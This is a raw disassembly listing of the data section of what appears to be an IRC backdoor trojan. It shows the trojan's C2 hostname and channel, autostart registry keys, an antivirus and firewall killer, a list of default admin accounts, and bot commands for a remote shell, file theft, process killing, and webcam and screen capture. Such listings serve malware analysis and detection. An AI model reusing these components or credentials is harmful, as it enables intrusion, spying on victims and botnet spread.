aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D0B4o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D0B4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D0CC	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D0CC
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0EC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0EC
		dd offset unk_427E68
off_427E8C	dd offset off_43D10C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D10C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D130	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D130
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D0B4
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D0B4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D0CC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0EC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D10C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(6AF3CF58h), 5 dup(5B862F6Eh), 5 dup(646C0BC8h)
		dd 7Ah dup(0)
		dd 646C0BC8h, 0
		dd 6AF3CF58h, 15h dup(0)
		dd 5B862F6Eh, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset dword_424754+0Fh
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D158
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd 0
dword_42923C	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429234o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:00429230o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: ___:00429220o
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:0042922Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_429300	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429334	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429360	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_4293A0	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_4293C4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293E0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293EC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293F4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293FC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429464	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429484	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4294A4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294F8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429578:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42957C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_4295A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4295C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429610	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429634	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429658	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429674	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_4296A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4296C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429718	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429740	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429764	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429784	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_4297AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297D4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429824	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429874	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429898	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_4298B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298D8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298F0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429930	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429948	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429964	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429984	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_4299C8:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_4299CC	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299F0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_429A14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A54	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A94	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429AC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429B00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B34	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B68	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429BC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429C2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C60	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429CAC	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CF4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
